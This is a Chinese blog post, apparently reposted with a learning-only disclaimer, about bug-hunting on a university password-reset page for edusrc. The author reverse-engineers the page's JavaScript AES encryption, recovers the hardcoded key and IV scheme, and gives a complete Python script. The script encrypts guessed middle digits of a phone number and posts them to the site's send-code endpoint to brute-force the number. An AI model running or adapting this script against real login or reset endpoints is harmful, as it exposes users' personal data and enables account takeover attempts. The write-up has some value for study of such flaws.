一、起因
在某个无聊风和日丽的下午,为了消磨时间打算挖一下edusrc,在重置密码的页面发现请求数据进行了加密,于是决定逆向看看......
重置密码页面拿到一个学号之后点下一步就能看到输入手机号页面,而且还会出现提示信息
随便补全一下手机号,发送验证码,bp抓包
显然cellphone就是我们输入的手机号,但是被加密了。
我的思路:拿到加密算法->python进行手机号爆破->后续挖掘
二、分析调试
这个加密格式乍一看像base64,试着解密
果然没这么简单.
在浏览器控制台查看js源码
在retrievePassword/encrypt.js中似乎找到了关键的地方
使用的Aes加密算法,在这三个方法中随便选一个地方进行断点,发送验证码
断点成功了,接着就是分析整个加密过程
getAesString()方法是在encryptAES()中被调用的,有三个参数data, key0, iv0。
接着在encryptAES()方法中看一下这三个参数是怎么构成的,判断asskey存在后调用getAesString(),其中data:调用randomString()方法生成一个64位的随机字符串拼接encryptAES方法的data参数,先找一下randomString(),把这个方法记录下来
encryptAES方法的data就是请求数据的手机号
key0:就是aesKey,试了几次都是同一个值,把这个值记录下来
iv0:randomString()方法生成一个16位的随机字符串
继续断点调试,下一步
最终在encryptAES中看到了输出
对比请求数据的cellphone,可以确定就是这个
到这整个加密过程已经梳理完了,整理一下调用过程:encryptAES()->getAesString()->randomString()->encrypted
三、加密方式转python
随机的字符串我这里直接写死了,接受一个seq参数作为手机号中间的四位
测试效果
测试发现同一组参数请求5次后会报错,可能还需要动态调整其他参数
四、完整代码
from base64 import b64encode
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import urllib3
urllib3.disable_warnings()
import requests
import time
def get_aes_string(seq):
str64 = "pSKzskzbmmrsbrWBeCNShHWPFS8kpwfn3NJenwcRp34wzmBm4RY8JmN3xcAC7Bnm"
str16 = "3RGekMFSj4zbyAKY".encode('utf-8')
key = 'rjBFAaHsNkKAhpoi'.encode('utf-8')
data_with_random = f"{str64}86-138{seq}2909"
cipher = AES.new(key, AES.MODE_CBC, str16)
encrypted_data = cipher.encrypt(pad(data_with_random.encode('utf-8'), AES.block_size))
return b64encode(encrypted_data).decode('utf-8')
def generate_sequence(start=0, end=5):
for i in range(start, end + 1):
yield f"{i:04d}"
headers = {
'authority': 'xxx.xxx.xxx.xxx',
'accept': 'application/json',
'content-type': 'application/json',
'cookie': 'route=7e11b4209903de33fa3ab7eeb3991bd8;',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.90 Safari/537.36',
}
json_data = {
'accountId': '',
'loginNo': 'xxxxxxxx',
'cellphone': 'nEkxfRs7P+DypsWh3aW+xjLYUrIovLucu9f6OiX764K+z6WlAj5EJdqBn560HLct/NuqpOYrErikzG/TNWb6tZW2SQW2O87NUh6l1YjAoVE=',
'email': '',
'hideCellphone': '138****2909',
'hideEmail': '',
'captchaId': '4861601744408988',
'captcha': 'goct',
'code': '',
'type': 'cellphone',
'password': '',
'confirmPassword': '',
'sign': 'ff07582f37e94776adf3224dcd517c5f',
'appealSign': '7f6ff627358b40e79aa21c2ea8da36d8',
'isAppealFlag': '0',
}
for num_str in generate_sequence():
print(num_str)
cellphone = get_aes_string(num_str)
json_data['cellphone'] = cellphone
time.sleep(5)
response = requests.post(
'https://xxx.xxx.xxx.xxx/sendCode',
headers=headers,
json=json_data,
verify=False,
)
print(response.text)
五、总结
1.整体过程并不复杂,有点耐心都可以搞定
2.至于转python部分,其实完全可以让AI完成
3.关于请求5次报错的问题,后续如果找到解决办法再补充
4.挖个洞是真费劲
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)